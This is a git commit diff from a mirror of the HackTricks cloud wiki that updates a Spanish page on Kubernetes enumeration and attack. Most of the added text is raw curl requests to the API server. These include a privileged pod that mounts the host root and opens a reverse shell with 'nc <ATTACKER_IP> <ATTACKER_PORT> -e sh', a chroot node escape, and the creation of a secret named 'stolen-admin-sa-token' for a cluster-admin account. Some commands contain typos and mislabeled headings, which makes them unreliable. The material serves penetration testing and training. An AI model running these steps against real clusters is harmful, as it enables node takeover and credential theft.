mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-01 07:25:51 -08:00
Translated ['src/pentesting-cloud/kubernetes-security/kubernetes-enumera
This commit is contained in:
@@ -8,7 +8,7 @@ Si has comprometido el acceso a una máquina, el usuario puede tener acceso a al
|
||||
|
||||
En esta carpeta podrías encontrar archivos de configuración con **tokens y configuraciones para conectarse al servidor API**. En esta carpeta también puedes encontrar una carpeta de caché con información recuperada previamente.
|
||||
|
||||
Si has comprometido un pod dentro de un entorno de Kubernetes, hay otros lugares donde puedes encontrar tokens e información sobre el entorno K8 actual:
|
||||
Si has comprometido un pod dentro de un entorno de kubernetes, hay otros lugares donde puedes encontrar tokens e información sobre el entorno K8 actual:
|
||||
|
||||
### Tokens de Cuenta de Servicio
|
||||
|
||||
@@ -72,7 +72,7 @@ Sin embargo, generalmente el **servidor API está dentro de una red interna**, p
|
||||
|
||||
### Diferencias entre los verbos `list` y `get`
|
||||
|
||||
Con permisos de **`get`** puedes acceder a información de activos específicos (_opción `describe` en `kubectl`_) API:
|
||||
Con permisos de **`get`** puedes acceder a la información de activos específicos (_opción `describe` en `kubectl`_) API:
|
||||
```
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
|
||||
```
|
||||
@@ -109,7 +109,7 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
|
||||
# if kurl is still got cert Error, using -k option to solve this.
|
||||
```
|
||||
> [!WARNING]
|
||||
> Por defecto, el pod puede **acceder** al **servidor kube-api** en el nombre de dominio **`kubernetes.default.svc`** y puedes ver la red kube en **`/etc/resolv.config`** ya que aquí encontrarás la dirección del servidor DNS de kubernetes (el ".1" del mismo rango es el punto final kube-api).
|
||||
> Por defecto, el pod puede **acceder** al **kube-api server** en el nombre de dominio **`kubernetes.default.svc`** y puedes ver la red kube en **`/etc/resolv.config`** ya que aquí encontrarás la dirección del servidor DNS de kubernetes (el ".1" del mismo rango es el punto final del kube-api).
|
||||
|
||||
### Usando kubectl
|
||||
|
||||
@@ -211,7 +211,7 @@ kubernetes-role-based-access-control-rbac.md
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
{{#endref}}
|
||||
|
||||
### Obtener otros roles
|
||||
### Obtener roles de otros
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -290,7 +290,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
|
||||
|
||||
### Obtener Despliegues
|
||||
|
||||
Los despliegues especifican los **componentes** que deben ser **ejecutados**.
|
||||
Los despliegues especifican los **componentes** que necesitan ser **ejecutados**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -309,7 +309,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
|
||||
|
||||
### Obtener Pods
|
||||
|
||||
Los Pods son los **contenedores** que **se ejecutarán**.
|
||||
Los Pods son los **contenedores** que se **ejecutarán**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -328,7 +328,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
|
||||
|
||||
### Obtener Servicios
|
||||
|
||||
Los **servicios** de Kubernetes se utilizan para **exponer un servicio en un puerto e IP específicos** (que actuarán como balanceador de carga para los pods que realmente están ofreciendo el servicio). Esto es interesante para saber dónde puedes encontrar otros servicios para intentar atacar.
|
||||
Kubernetes **services** se utilizan para **exponer un servicio en un puerto e IP específicos** (que actuará como balanceador de carga para los pods que realmente están ofreciendo el servicio). Esto es interesante para saber dónde puedes encontrar otros servicios para intentar atacar.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -347,7 +347,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/default/services/
|
||||
|
||||
### Obtener nodos
|
||||
|
||||
Obtener todos los **nodos configurados dentro del clúster**.
|
||||
Obtén todos los **nodos configurados dentro del clúster**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -459,9 +459,13 @@ k top pod --all-namespaces
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Interactuando con el clúster sin usar kubectl
|
||||
|
||||
Dado que el plano de control de Kubernetes expone una API RESTful, puedes crear solicitudes HTTP a mano y enviarlas con otras herramientas, como **curl** o **wget**.
|
||||
|
||||
### Escapando del pod
|
||||
|
||||
Si puedes crear nuevos pods, podrías ser capaz de escapar de ellos hacia el nodo. Para hacerlo, necesitas crear un nuevo pod usando un archivo yaml, cambiar al pod creado y luego chroot en el sistema del nodo. Puedes usar pods ya existentes como referencia para el archivo yaml, ya que muestran imágenes y rutas existentes.
|
||||
Si puedes crear nuevos pods, podrías ser capaz de escapar de ellos hacia el nodo. Para hacerlo, necesitas crear un nuevo pod utilizando un archivo yaml, cambiar al pod creado y luego chroot en el sistema del nodo. Puedes usar pods ya existentes como referencia para el archivo yaml, ya que muestran imágenes y rutas existentes.
|
||||
```bash
|
||||
kubectl get pod <name> [-n <namespace>] -o yaml
|
||||
```
|
||||
@@ -501,9 +505,7 @@ restartPolicy: Never
|
||||
# or using
|
||||
# node-role.kubernetes.io/master: ""
|
||||
```
|
||||
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
|
||||
|
||||
Después de eso, creas el pod.
|
||||
Después de eso, creas el pod
|
||||
```bash
|
||||
kubectl apply -f attacker.yaml [-n <namespace>]
|
||||
```
|
||||
@@ -517,6 +519,212 @@ chroot /root /bin/bash
|
||||
```
|
||||
Información obtenida de: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
|
||||
|
||||
### Creando un pod privilegiado
|
||||
|
||||
El archivo yaml correspondiente es el siguiente:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: everything-allowed-exec-pod
|
||||
labels:
|
||||
app: pentest
|
||||
spec:
|
||||
hostNetwork: true
|
||||
hostPID: true
|
||||
hostIPC: true
|
||||
containers:
|
||||
- name: everything-allowed-pod
|
||||
image: alpine
|
||||
securityContext:
|
||||
privileged: true
|
||||
volumeMounts:
|
||||
- mountPath: /host
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
|
||||
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
|
||||
volumes:
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /
|
||||
```
|
||||
Crea el pod con curl:
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
|
||||
curl --path-as-is -i -s -k -X $'POST' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Content-Length: 478' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Eliminar un pod
|
||||
|
||||
Eliminar un pod con curl:
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
POD_NAME="everything-allowed-exec-pod"
|
||||
|
||||
curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Content-Length: 35' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
|
||||
```
|
||||
### Crear una Cuenta de Servicio
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
|
||||
|
||||
curl --path-as-is -i -s -k -X $'POST' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Length: 109' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Eliminar una cuenta de servicio
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
SA_NAME=""
|
||||
NAMESPACE="default"
|
||||
|
||||
curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
|
||||
```
|
||||
### Crear un Rol
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
|
||||
|
||||
curl --path-as-is -i -s -k -X $'POST' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Content-Length: 203' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Eliminar un rol
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
ROLE_NAME=""
|
||||
|
||||
curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Content-Length: 35' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
|
||||
```
|
||||
### Crear un Role Binding
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
|
||||
curl --path-as-is -i -s -k -X $'POST' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Content-Length: 816' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Eliminar un Role Binding
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
ROLE_BINDING_NAME=""
|
||||
|
||||
curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Content-Length: 35' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
|
||||
```
|
||||
### Eliminar un Secreto
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
|
||||
curl --path-as-is -i -s -k -X $'POST' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Content-Length: 219' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Eliminar un Secreto
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
SECRET_NAME=""
|
||||
|
||||
ccurl --path-as-is -i -s -k -X $'DELETE' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Content-Length: 35' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
|
||||
```
|
||||
## Referencias
|
||||
|
||||
{{#ref}}
|
||||
|
||||
Reference in New Issue
Block a user